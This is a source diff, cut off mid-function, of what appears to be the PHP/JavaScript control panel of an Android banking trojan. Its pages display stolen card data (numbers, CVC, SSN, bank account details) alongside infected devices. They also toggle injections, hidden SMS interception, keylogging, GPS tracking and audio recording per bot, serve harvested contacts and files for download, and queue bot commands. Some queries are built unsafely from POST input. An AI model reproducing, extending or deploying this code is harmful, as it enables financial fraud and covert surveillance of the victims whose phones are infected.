||||
$str = print_r($_POST,true);
|
||||
$str = str_replace("[delete","!!!",$str);
|
||||
$str = str_replace("]","@@@",$str);
|
||||
$massiv = explode("!!!", $str);
|
||||
$massiv = explode("@@@", $massiv[1]);
|
||||
$str = $massiv[0];
|
||||
|
||||
$statement = $connection->prepare("DELETE FROM cc WHERE numbercard='$str'");
|
||||
$statement->execute([$str]);
|
||||
}
|
||||
|
||||
/****Ограничение по тегам****/
|
||||
$userRights = new users_right;
|
||||
$tags = explode("|", $userRights->getPrivateTags());
|
||||
$thisTag = explode(",", $tags[0]);
|
||||
$privateTag = explode(",", $tags[1]);
|
||||
/****************************/
|
||||
|
||||
$sql = "SELECT * FROM cc";
|
||||
echo "<form name='formcards' method='post'>";
|
||||
foreach($connection->query($sql) as $row)
|
||||
{
|
||||
$imei = $row['imei'];
|
||||
$country = $row['country'];
|
||||
$numbercard = $row['numbercard'];
|
||||
$numbercard2 = $row['numbercard'];
|
||||
$monthyear = $row['monthyear'];
|
||||
$cvc = $row['cvc'];
|
||||
$nameholder= $row['nameholder'];
|
||||
$databirth = $row['databirth'];
|
||||
$postalcode = $row['postalcode'];
|
||||
$addressholder = $row['addressholder'];
|
||||
$phonenumber = $row['phonenumber'];
|
||||
$ssn = $row['ssn'];
|
||||
$accountnumber = $row['accountnumber'];
|
||||
$vbv = $row['vbv'];
|
||||
$SortCode = $row['SortCode'];
|
||||
$timeaddcc = $row['timeaddcc'];
|
||||
|
||||
$comments = $row['comments'];
|
||||
|
||||
/*$bin = $row['bin'];
|
||||
|
||||
$BIN1_1 = "not";
|
||||
$BIN1 = "";
|
||||
$BIN2 = "";
|
||||
$BIN3 = "";
|
||||
$BIN4 = "";
|
||||
$BIN5 = "";
|
||||
|
||||
if($bin != "")
|
||||
{
|
||||
$massivBins = explode("|", $bin);
|
||||
$BIN1 = $massivBins[0];
|
||||
$BIN2 = $massivBins[1];
|
||||
$BIN3 = $massivBins[2];
|
||||
$BIN4 = $massivBins[3];
|
||||
$BIN5 = $massivBins[4];
|
||||
$BIN1_1 = mb_strtolower($BIN1);
|
||||
$BIN1 = "Country: ";
|
||||
$BIN2 = "Vendor: $BIN2";
|
||||
$BIN3 = "Type: $BIN3";
|
||||
$BIN4 = "Level: $BIN4";
|
||||
$BIN5 = "Bank: $BIN5";
|
||||
}
|
||||
if($BIN1_1 == "")$BIN1_1 = "not";
|
||||
*/
|
||||
$imei_="";
|
||||
$AndroidBot = "ID Bots: ";
|
||||
$AndroidOS = "Android: ";
|
||||
$Operator = "Operator: ";
|
||||
$country = "Country: ";
|
||||
$tag_ = "Tag: ";
|
||||
|
||||
$connection2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection2->exec('SET NAMES utf8');
|
||||
$sql2 = "SELECT * FROM kliets";
|
||||
foreach($connection2->query($sql2) as $row2)
|
||||
{
|
||||
|
||||
if($row2['IMEI'] == $imei)
|
||||
{
|
||||
$OS = $row2['version'];
|
||||
$oper = $row2['number'];
|
||||
$countr = $row2['country'];
|
||||
$lastConnect = $row2['lastConnect'];
|
||||
$tag = $row2['version_apk'];
|
||||
$l_log = $row2['log'];
|
||||
$admin = $row2['r00t'];
|
||||
$screen = $row2['screen'];
|
||||
$requestInjProc=$row2['requestInjProc'];
|
||||
$requestSMS=$row2['requestSMS'];
|
||||
|
||||
|
||||
//******Получаем иконку состояния бота, вычисляем дату****
|
||||
$arr_data_from = explode(" ", $row2['lastConnect']);
|
||||
$arr_data_till = explode(" ", date('Y-m-d H:i'));
|
||||
|
||||
$date_from = $arr_data_from[0];
|
||||
$date_till = $arr_data_till[0];
|
||||
|
||||
$date_from = explode('-', $date_from);
|
||||
$date_till = explode('-', $date_till);
|
||||
|
||||
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
|
||||
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
|
||||
|
||||
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
|
||||
//----------Секунды!-------/
|
||||
$date1 = new \DateTime($row2['lastConnect']);
|
||||
$date2 = new \DateTime(date('Y-m-d H:i'));
|
||||
$diff = $date2->diff($date1);
|
||||
// разница в секундах
|
||||
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
|
||||
($diff->m * 30 * 24 * 60 * 60) +
|
||||
($diff->d * 24 * 60 * 60) +
|
||||
($diff->h * 60 * 60) +
|
||||
($diff->i * 60) +
|
||||
$diff->s;
|
||||
//----------обработка состояние иконки on/off-------/
|
||||
if($day>=2)//Дни!
|
||||
{
|
||||
$img="images/icons/kill.png";
|
||||
$getSortON_OFF="kill";
|
||||
}
|
||||
else
|
||||
{
|
||||
if($seconds<=120)
|
||||
{$img="images/icons/online.png";
|
||||
$getSortON_OFF="online";}
|
||||
else
|
||||
{$img="images/icons/offline.png";
|
||||
$getSortON_OFF="offline";}
|
||||
}
|
||||
//************Иконки ЛОГОВ***************************************
|
||||
|
||||
if($l_log == "1")
|
||||
{$icon_log="images/icons/log_on.png";}
|
||||
elseif($l_log == "2")
|
||||
{$icon_log="images/icons/log_on_g.png";}
|
||||
else
|
||||
{$icon_log="images/icons/log_off.png";}
|
||||
|
||||
/**/
|
||||
if($admin == "1")
|
||||
{$icon_admin="images/icons/V.png";}
|
||||
else
|
||||
{$icon_admin="images/icons/X.png";}
|
||||
|
||||
if($seconds<=120)
|
||||
{
|
||||
if($screen == "1")
|
||||
{$icon_screen="images/icons/V.png";}
|
||||
else
|
||||
{$icon_screen="images/icons/X.png";}
|
||||
}
|
||||
else
|
||||
{
|
||||
$icon_screen="images/icons/X.png";
|
||||
}
|
||||
|
||||
if($requestInjProc == "1")
|
||||
{$icon_requestInjProc="images/icons/inj_v.png";}
|
||||
else
|
||||
{$icon_requestInjProc="images/icons/inj_off2.png";}
|
||||
|
||||
if($requestSMS == "1")
|
||||
{$icon_requestSMS="images/icons/sms_v.png";}
|
||||
else
|
||||
{$icon_requestSMS="images/icons/sms_x.png";}
|
||||
//----страны
|
||||
|
||||
if($countr == "") $countr = "not";
|
||||
|
||||
$country = mb_strtolower($countr);
|
||||
|
||||
$imei_ = "$imei";
|
||||
$AndroidBot = "ID Bots: $imei";
|
||||
$AndroidOS = "Android: $OS";
|
||||
$Operator = "Operator: $oper";
|
||||
$tag_ = "Tag: $tag";
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
|
||||
{
|
||||
$boolContinue=true;
|
||||
if($tags[0]!=",")
|
||||
{
|
||||
foreach($thisTag as $tagZ)
|
||||
{
|
||||
if($tag == $tagZ)
|
||||
{
|
||||
if($tagZ!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if($boolContinue)continue;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach($privateTag as $tagZ)
|
||||
{
|
||||
if($tag == $tagZ)
|
||||
{
|
||||
if($tagZ!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(!$boolContinue)continue;
|
||||
}
|
||||
}//---------------
|
||||
|
||||
if($numbercard!="")$numbercard = "Number: $numbercard</br>";
|
||||
if($monthyear!="")$monthyear = "Mouth/Year: $monthyear</br>";
|
||||
if($cvc!="")$cvc = "CVC: $cvc</br>";
|
||||
if($nameholder!="")$nameholder = "Name holder: $nameholder</br>";
|
||||
if($databirth!="")$databirth = "Date birth: $databirth</br>";
|
||||
if($postalcode!="")$postalcode = "Postal code: $postalcode</br>";
|
||||
if($addressholder!="")$addressholder = "Address holder: $addressholder</br>";
|
||||
if($phonenumber!="")$phonenumber = "Phone number: $phonenumber</br>";
|
||||
if($ssn!="")$ssn = "SSN: $ssn</br>";
|
||||
if($accountnumber!="")$accountnumber = "Account number: $accountnumber</br>";
|
||||
if($vbv!="")$vbv = "VBV: $vbv</br>";
|
||||
if($SortCode!="")$SortCode = "Sort Code: $SortCode</br>";
|
||||
|
||||
|
||||
$card = "$numbercard$monthyear$cvc$nameholder$databirth$postalcode$addressholder$phonenumber$ssn$accountnumber$vbv$SortCode";
|
||||
|
||||
$car = mb_strtoupper($card, 'utf-8');
|
||||
$infoBot = "$AndroidBot$AndroidOS$Operator$country$tag_";
|
||||
//$BINS_ = "$BIN1_1$BIN1$BIN2$BIN3$BIN4$BIN5";
|
||||
|
||||
$boolFIND = true;
|
||||
$boolFIND2 = true;
|
||||
$boolFIND3 = true;
|
||||
$boolFIND4 = true;
|
||||
if(($getFind==null)||($getFind=="")||($getFind==" ")){
|
||||
$boolFIND = true;
|
||||
}else{
|
||||
if(!Сontains($car, $getFind)) {
|
||||
$boolFIND=false;
|
||||
}
|
||||
/*if(!Сontains($BINS_, $getFind)) {
|
||||
$boolFIND2=false;
|
||||
}*/
|
||||
if(!Сontains($comments, $getFind)) {
|
||||
$boolFIND3=false;
|
||||
}
|
||||
if(!Сontains($infoBot, $getFind)) {
|
||||
$boolFIND4=false;
|
||||
}
|
||||
}
|
||||
|
||||
if($country=="Country: ")$country="not";
|
||||
|
||||
if(($boolFIND)||($boolFIND3)||($boolFIND4))
|
||||
{
|
||||
|
||||
if($AndroidBot!="ID Bots: "){
|
||||
$icon="</br>
|
||||
<a title='$lastConnect'><img src=$img width='16px'/></a>
|
||||
<a title='Screen'><img src=$icon_screen width='18px'/></a>
|
||||
<a title='Hidden intercepting SMS'><img src=$icon_requestSMS width='18px'/></a>
|
||||
<a title='Permission injections'><img src=$icon_requestInjProc width='18px'/></a>
|
||||
<button class='btn_log' onclick='getTextFileLogs(\"$imei\")' data-toggle='modal' data-target='.logs' style='background: transparent;' name='click_log' value='$imei' title='Logs' ><img id='logs$imei' src='$icon_log' title='Logs' alt='img' width='18px' class='img_log'/></button>
|
||||
<button class='btn_log' onclick='getSettingsBot(\"$imei\");'data-toggle='modal' data-target='.settings' style='background: transparent;' name='click_set' value='$imei' title='Settings' ><img src='images/icons/fe.png' title='Settings' alt='img' width='20px' class='img_log'/></button>";
|
||||
}else{
|
||||
$icon="";
|
||||
}
|
||||
|
||||
|
||||
echo "<tr class='table_bots' style='color: #A4A4A4'>
|
||||
|
||||
<td>
|
||||
|
||||
<p align='left' style='color: #A4A4A4;'>
|
||||
$AndroidBot</br>
|
||||
$AndroidOS</br>
|
||||
$tag_</br>
|
||||
$Operator</br>
|
||||
Country: <a title='$country' style='margin-top: -4%;'><img src='images/country/$country.png' width='20px'/></a></br>
|
||||
|
||||
$icon
|
||||
|
||||
</p>
|
||||
</td>
|
||||
|
||||
|
||||
<td>
|
||||
|
||||
<p align='left' style='color: #A4A4A4'>
|
||||
$card
|
||||
|
||||
</p>
|
||||
|
||||
|
||||
<td>
|
||||
<textarea name='komment$numbercard2' id='styled-select' style='color: #A4A4A4; background: transparent; height:150px; border: 1px solid #A4A4A4;'>$comments</textarea>
|
||||
</td>
|
||||
|
||||
|
||||
|
||||
<td>
|
||||
<input type='submit' value='SAVE COMMENT' name='kom_save$numbercard2' style='margin-left:5px; border: 1px solid #000; width: 110px' class='btn btn-primary btn-xs'/>
|
||||
</br>
|
||||
<input type='submit' value='DELETE' name='delete$numbercard2' style='margin-left:5px; border: 1px solid #000; width: 110px;' class='btn btn-danger btn-xs'/>
|
||||
</td>
|
||||
|
||||
|
||||
</tr>";
|
||||
}
|
||||
}
|
||||
echo "</form>";
|
||||
?>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="modal fade logs" id = "log_modal" style="margin-left:0px;">
|
||||
<div id = "modal_l">
|
||||
<a id="exit" data-dismiss="modal" aria-hidden="true" onclick="document.getElementById('logsTextArea').remove();" style="margin-left:97%; cursor: pointer; color: Red;">X</a>
|
||||
<div class="styled-select" id="textArea"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<div class="modal fade settings" style="Height: 572px; background: #1D1F24; margin: 0px auto auto -250px; padding: 10px; border-radius: 5px;" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true">
|
||||
<button type="button" style="margin-top:-10px; color:#fff" class="close" data-dismiss="modal" aria-hidden="true">×</button>
|
||||
<div class="styled-select">
|
||||
|
||||
<?php
|
||||
$connection4 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection4->exec('SET NAMES utf8');
|
||||
$sql4 = "SELECT * FROM settings";
|
||||
|
||||
|
||||
echo "<center><a id='AstatusSettings'><h5 id='statusSettings'>Settings are not active, wait until the bot updates them..</h5></a></center>";
|
||||
|
||||
echo "ID Bots<select name='comboBox_imeis2' id='comboBox_imeis2' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;''>";
|
||||
|
||||
echo "</select> ";
|
||||
echo "</br></br>";
|
||||
//-----------------------
|
||||
echo "<h5><a>Time of the bot:</a> <a style='color: Red;' id='idSeconds'></a> <a> seconds</a></h5>";
|
||||
echo "<a><h5>Injections</h5></a>";
|
||||
$sql4 = "SELECT * FROM injection";
|
||||
$countInject = 0;
|
||||
|
||||
echo "<div style='width:100%; height:150px; background: #1D1F24; border: 1px solid #C1C1C1; overflow: auto;'>";
|
||||
foreach($connection4->query($sql4) as $row){
|
||||
$countInject++;
|
||||
$ID_inj = $row['id'];
|
||||
$name_inj = $row['name'];
|
||||
|
||||
echo "<input type='checkbox' id='check_set' name='check_set[]' value='$ID_inj' style='margin-top: -10px;'>$name_inj</input></br>";
|
||||
}
|
||||
echo "</div>";
|
||||
|
||||
echo "All injections: $countInject";
|
||||
echo "</br></br>";
|
||||
|
||||
echo "<input type=checkbox name=check_record id='check_record' value='1' style='margin-top:0px;'> Record Sound </input>";
|
||||
echo "<input type='text' name='id_seconds' id='id_seconds' style='color: #337ab7; background: #1D1F24; width: 10%; font-size: 13; height: 22px; padding: 5px; font-family: Consolas; border: 1px solid #ccc; border-radius: 8px'></input> Seconds";
|
||||
echo "</br>";
|
||||
echo "<input type=checkbox name=check_set_v id='chkinterceptSMS' value='1' style='margin-top:0px;'> Interception SMS</input>";
|
||||
echo "</br>";
|
||||
echo "<input type=checkbox name=check_set_d id='chkhideSMS' value='1' style='margin-top:0px;'> Hidden SMS interception</input>";
|
||||
echo "</br>";
|
||||
echo "<input type=checkbox name=check_set_network id='chknetwork' value='1' style='margin-top:0px;' > Geolocation NETWORK</input>";
|
||||
echo "</br>";
|
||||
echo "<input type=checkbox name=check_set_gps id='chkgps' value='1' style='margin-top:0px;'> Geolocation GPS</input>";
|
||||
echo "</br>";
|
||||
echo "<input type=checkbox name=check_foreground id='check_foreground' value='1' style='margin-top:0px;'> Foreground Service</input>";
|
||||
echo "</br>";
|
||||
echo "<input type=checkbox name=check_keylogger id='check_keylogger' value='1' style='margin-top:0px;'> Keylogger</input>";
|
||||
?>
|
||||
<input type='text' name='text_imei_set' id='text_imei_set'style='visibility:hidden'/>
|
||||
</br>
|
||||
<input type='submit' value='Save settings' onclick="saveSetting()" id="bth_add_set" name='bth_add_set' class='btn btn-success' style='Width:100%; Height: 30px; font-size: 14; margin-top:20px;' data-dismiss="modal" aria-hidden="true"/>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<?php
|
||||
function Сontains($str,$substr)
|
||||
{
|
||||
$result = strpos($str, $substr);
|
||||
if ($result === FALSE) // если это действительно FALSE, а не ноль, например
|
||||
return false;
|
||||
else
|
||||
return true;
|
||||
}
|
||||
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,97 @@
|
||||
<?php
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}
|
||||
|
||||
if (($_SESSION['panel_right']!="admin")&&($_SESSION['panel_right']!="user")){
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
if($statusCode){
|
||||
?>
|
||||
|
||||
<div class="content">
|
||||
|
||||
<script type="text/javascript">
|
||||
function checkAll(checkId){
|
||||
var inputs = document.getElementsByTagName("input");
|
||||
for (var i = 0; i < inputs.length; i++) {
|
||||
if (inputs[i].type == "checkbox" && inputs[i].id == checkId) {
|
||||
if(inputs[i].checked == true) {
|
||||
inputs[i].checked = false ;
|
||||
} else if (inputs[i].checked == false ) {
|
||||
inputs[i].checked = true ;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<table class="table table-hover table_dark" id="bootstrap-table">
|
||||
<thead class="header_table_bots">
|
||||
<th><input type="checkbox" id="chk_new" onclick="checkAll('chk');" /></th>
|
||||
<th>ID</th>
|
||||
<th>ID Bots</th>
|
||||
<th>Command</th>
|
||||
</thead>
|
||||
|
||||
<?php
|
||||
// include 'config.php';
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT * FROM commands";
|
||||
$booleanIMEI = false;
|
||||
|
||||
//*****Обработка запросa Для удаления!
|
||||
if((isset($_POST["delete"])) && (isset($_POST["checks"])))
|
||||
{
|
||||
if (preg_match("/checks/",print_r($_POST,true)))
|
||||
{
|
||||
foreach($_POST["checks"] as $id)
|
||||
{
|
||||
$id_del = $id;
|
||||
$sql2 = "DELETE FROM commands WHERE id='".$id_del."'";
|
||||
$connection->query($sql2);
|
||||
}
|
||||
}
|
||||
header ('Location: /index.php?cont=commands');
|
||||
}
|
||||
|
||||
//******батоны и переменые с базы!********
|
||||
echo "<form method='post'>";
|
||||
echo "<p id='text_command' style='margin-top:5px; Color:#EDB749; font-size: 13pt;'>Сommands in the queue</p>";
|
||||
echo "<input type='submit' value='Delete' name='delete' style='margin-left:68px; margin-top:15px;' class='btn btn-outline-danger'/>";
|
||||
|
||||
|
||||
foreach($connection->query($sql) as $row)
|
||||
{
|
||||
$ID = $row['id'];
|
||||
$IMEI = $row['IMEI'];
|
||||
$command = $row['command'];
|
||||
|
||||
//************Данные в таблице********************************************
|
||||
echo "<tr class='table_bots' style='color: #A4A4A4'>
|
||||
<td><input type=checkbox id='chk' name=checks[] value=$ID></input></td>
|
||||
<td>$ID</td>
|
||||
<td>$IMEI</td>
|
||||
<td>$command</td>
|
||||
</tr>";
|
||||
}
|
||||
echo "</form>";
|
||||
|
||||
// id IMEI command
|
||||
?>
|
||||
|
||||
</table>
|
||||
</div>
|
||||
<?php } ?>
|
||||
@@ -0,0 +1,113 @@
|
||||
<?php
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}
|
||||
|
||||
if ($_SESSION['panel_right']!="admin"){
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
if($statusCode){
|
||||
?>
|
||||
|
||||
<div class="content" style="padding-top:15px;">
|
||||
<table class="table table-hover table_dark" id="bootstrap-table">
|
||||
<thead class="header_table_bots">
|
||||
<th><a title="Country"><img src="images/icons/table/Country.png" width='25px'/></a></th>
|
||||
<th>Count</th>
|
||||
<th><a title="Country"><img src="images/icons/table/icloud.png" width='25px'/></a></th>
|
||||
</thead>
|
||||
|
||||
<?php
|
||||
|
||||
$getIP = $_SERVER['REMOTE_ADDR'];
|
||||
|
||||
$textFile = rFile("../.htaccess");
|
||||
|
||||
if (!preg_match("/$getIP/",$textFile)){
|
||||
$getSession = $_SESSION['panel_user'];
|
||||
$textSession="!!!login!!!$getSession";
|
||||
|
||||
if (preg_match("/$textSession/",$textFile)){
|
||||
preg_match_all("#$textSession(.+?)endlogin$getSession#is", $textFile, $arr);
|
||||
$getDate = $arr[0][0];
|
||||
$saveTextFile = str_replace("#$getDate","#!!!login!!!$getSession\nAllow from $getIP\n#***endlogin$getSession",$textFile);
|
||||
file_put_contents("../.htaccess", $saveTextFile, LOCK_EX);
|
||||
}else{
|
||||
$saveTextFile = str_replace("#!!!access html!!!","#!!!access html!!!\n#!!!login!!!$getSession\nAllow from $getIP\n#***endlogin$getSession",$textFile);
|
||||
file_put_contents("../.htaccess", $saveTextFile, LOCK_EX);
|
||||
}
|
||||
}
|
||||
|
||||
$svoy=getcwd();
|
||||
$godir="/application/datalogs/numers";
|
||||
|
||||
$dir = "$svoy$godir";
|
||||
$files2 = scandir($dir, 1);
|
||||
echo "<p id='text_command' style='margin-top:5px; Color:#EDB749; font-size: 13pt;'>Cell contacts</p>";
|
||||
foreach($files2 as $fil)
|
||||
{
|
||||
if (preg_match("/.html/",$fil))
|
||||
{
|
||||
$nameF = str_replace(".html","","$fil");
|
||||
$path = "application/datalogs/numers/";
|
||||
$count = lines("application/datalogs/numers/$fil");
|
||||
$nameF_icon=str_replace("(","",$nameF);
|
||||
$nameF_icon=str_replace(")","",$nameF_icon);
|
||||
|
||||
if (!file_exists("images/country/$nameF_icon.png")) {
|
||||
$nameF_icon="not";
|
||||
}
|
||||
|
||||
echo "<tr class='table_bots' style='color: #A4A4A4'>
|
||||
<td><a title='$nameF'><img src='images/country/$nameF_icon.png' width='20px'/></a></td>
|
||||
<td>$count</td>
|
||||
<td><a href='$path$fil' download>Download</a> / <a href='application/set/deleteFile.php?t=nums&f=$nameF'>Delete</a></td>
|
||||
</tr>";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
?></div><?php
|
||||
}
|
||||
|
||||
function lines($file)
|
||||
{
|
||||
if(!file_exists($file))exit("Файл не найден");
|
||||
$file_arr = file($file);
|
||||
$lines = count($file_arr);
|
||||
return $lines;
|
||||
}
|
||||
|
||||
function rFile($path)
|
||||
{
|
||||
$file_handle = fopen($path, "r");
|
||||
|
||||
$text = "";
|
||||
|
||||
if ( is_resource($file_handle) ) {
|
||||
|
||||
while (!feof($file_handle)) {
|
||||
$line = fgets($file_handle);
|
||||
$text="$text$line";
|
||||
}
|
||||
|
||||
fclose($file_handle);
|
||||
|
||||
}
|
||||
|
||||
return $text;
|
||||
}
|
||||
|
||||
?>
|
||||
@@ -0,0 +1,55 @@
|
||||
<?php
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user']))){
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}
|
||||
|
||||
if ($_SESSION['panel_right']!="admin"){
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
if($statusCode){
|
||||
?>
|
||||
|
||||
<div class="content" style="padding-top:15px;">
|
||||
<table class="table table-hover table_dark" id="bootstrap-table">
|
||||
<thead class="header_table_bots">
|
||||
<th><a style='color: #EDB749;'>File Name</a></th>
|
||||
<th><a title="Files"><img src="images/icons/table/icloud.png" width='25px'/></a></th>
|
||||
</thead>
|
||||
|
||||
<?php
|
||||
|
||||
$svoy=getcwd();
|
||||
$godir="/application/datalogs/files";
|
||||
|
||||
$dir = "$svoy$godir";
|
||||
$files2 = scandir($dir, 1);
|
||||
echo "<p id='text_command' style='margin-top:5px; Color:#EDB749; font-size: 13pt;'>Files</p>";
|
||||
foreach($files2 as $fil)
|
||||
{
|
||||
if ((!preg_match("/.htaccess/",$fil))&&(!preg_match("/fhkjadgjghkshkliy-.txt/",$fil))&&($fil!=".")&&($fil!=".."))
|
||||
{
|
||||
$nameF = $fil;
|
||||
$path = "application/datalogs/files/";
|
||||
|
||||
|
||||
echo "<tr class='table_bots' style='color: #A4A4A4'>
|
||||
<td><a title='$nameF'>$nameF</a></td>
|
||||
<td><a href='$path$fil' download>Download</a> / <a href='application/set/deleteFile.php?t=files&f=$nameF'>Delete</a></td>
|
||||
</tr>";
|
||||
}
|
||||
}
|
||||
?>
|
||||
</div>
|
||||
<?php
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,674 @@
|
||||
<?php
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}
|
||||
|
||||
if (($_SESSION['panel_right']!="admin")&&($_SESSION['panel_right']!="user")){
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
if($statusCode){
|
||||
?>
|
||||
<div id="showAlert"></div>
|
||||
<script>
|
||||
function getTextFileLogs(imei){
|
||||
$.ajax({
|
||||
url: 'application/get/logBot.php?imei='+imei,
|
||||
success: function(data) {
|
||||
$('#textArea').append('<textarea id="logsTextArea" readonly name="mesage" wrap="virtual" class="textlog">'+data+'</textarea>');
|
||||
}
|
||||
});
|
||||
refreshContentTable();
|
||||
}
|
||||
function getSettingsBot(imei){
|
||||
$("#text_imei_set").val(imei);
|
||||
$('#comboBox_imeis2').append($('<option>', {
|
||||
value: '0',
|
||||
text: imei
|
||||
}));
|
||||
// ------ Clear Form -------
|
||||
var inputsClear = document.getElementsByTagName("input");
|
||||
for (var i = 0; i < inputsClear.length; i++) {
|
||||
if (inputsClear[i].type == "checkbox" && inputsClear[i].id == 'check_set') {
|
||||
inputsClear[i].checked = false ;
|
||||
}
|
||||
}
|
||||
document.getElementById("chkinterceptSMS").checked = false;
|
||||
document.getElementById("chkhideSMS").checked = false;
|
||||
document.getElementById("chknetwork").checked = false;
|
||||
document.getElementById("chkgps").checked = false;
|
||||
document.getElementById("check_foreground").checked = false;
|
||||
document.getElementById("check_keylogger").checked = false;
|
||||
document.getElementById("check_record").checked = false;
|
||||
document.getElementById("id_seconds").value = '';
|
||||
|
||||
$.ajax({url: 'application/get/settingsBot.php?imei='+imei, success: function(data) {
|
||||
var arrayData = data.split('|');
|
||||
var seconds = arrayData[0];
|
||||
var injections = arrayData[1].split('/');
|
||||
var interceptSMS = arrayData[2];
|
||||
var hideSMS = arrayData[3];
|
||||
var network = arrayData[4];
|
||||
var gps = arrayData[5];
|
||||
var status = arrayData[6];
|
||||
var foreground = arrayData[7];
|
||||
var keylogger = arrayData[8];
|
||||
var check_record = arrayData[9];
|
||||
var text_seconds = arrayData[10];
|
||||
|
||||
if(status!=null){
|
||||
if(status==1){
|
||||
document.getElementById("AstatusSettings").style.color='red';
|
||||
document.getElementById("statusSettings").innerHTML="Settings are not active, wait until the bot updates them..";
|
||||
}else{
|
||||
document.getElementById("AstatusSettings").style.color='#00FF00';
|
||||
document.getElementById("statusSettings").innerHTML="Settings are active!";
|
||||
}
|
||||
}
|
||||
|
||||
if(seconds!=null){
|
||||
document.getElementById("idSeconds").innerHTML=seconds;
|
||||
}
|
||||
|
||||
var inputs = document.getElementsByTagName("input");
|
||||
for(var j = 1; j < injections.length; j++){
|
||||
for (var i = 0; i < inputs.length; i++) {
|
||||
if (inputs[i].type == "checkbox" && inputs[i].id == 'check_set' && inputs[i].value == injections[j]) {
|
||||
inputs[i].checked = true ;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(interceptSMS==1){
|
||||
document.getElementById("chkinterceptSMS").checked = true;
|
||||
}
|
||||
if(hideSMS==1){
|
||||
document.getElementById("chkhideSMS").checked = true;
|
||||
}
|
||||
if(network==1){
|
||||
document.getElementById("chknetwork").checked = true;
|
||||
}
|
||||
if(gps==1){
|
||||
document.getElementById("chkgps").checked = true;
|
||||
}
|
||||
if(foreground==1){
|
||||
document.getElementById("check_foreground").checked = true;
|
||||
}
|
||||
if(keylogger==1){
|
||||
document.getElementById("check_keylogger").checked = true;
|
||||
}
|
||||
if(check_record==1){
|
||||
document.getElementById("check_record").checked = true;
|
||||
}
|
||||
|
||||
if(text_seconds!=null){
|
||||
document.getElementById("id_seconds").value = text_seconds;
|
||||
}
|
||||
|
||||
|
||||
|
||||
}});
|
||||
}
|
||||
|
||||
function saveSetting(){
|
||||
var getImeis = document.getElementById("text_imei_set").value;
|
||||
|
||||
var injections = '';
|
||||
var inputs = document.getElementsByTagName("input");
|
||||
for (var i = 0; i < inputs.length; i++) {
|
||||
if (inputs[i].type == "checkbox" && inputs[i].id == 'check_set' && inputs[i].checked == true) {
|
||||
injections = injections + '/' + inputs[i].value;
|
||||
}
|
||||
}
|
||||
var chkinterceptSMS = 0;
|
||||
if(document.getElementById("chkinterceptSMS").checked==true){
|
||||
chkinterceptSMS = 1;
|
||||
}
|
||||
|
||||
var chkhideSMS = 0;
|
||||
if(document.getElementById("chkhideSMS").checked==true){
|
||||
chkhideSMS = 1;
|
||||
}
|
||||
|
||||
var chknetwork = 0;
|
||||
if(document.getElementById("chknetwork").checked==true){
|
||||
chknetwork = 1;
|
||||
}
|
||||
|
||||
var chkgps = 0;
|
||||
if(document.getElementById("chkgps").checked==true){
|
||||
chkgps = 1;
|
||||
}
|
||||
|
||||
var foreground = 0;
|
||||
if(document.getElementById("check_foreground").checked==true){
|
||||
foreground = 1;
|
||||
}
|
||||
|
||||
var keylogger = 0;
|
||||
if(document.getElementById("check_keylogger").checked==true){
|
||||
keylogger = 1;
|
||||
}
|
||||
|
||||
var check_record = 0;
|
||||
if(document.getElementById("check_record").checked==true){
|
||||
check_record = 1;
|
||||
}
|
||||
|
||||
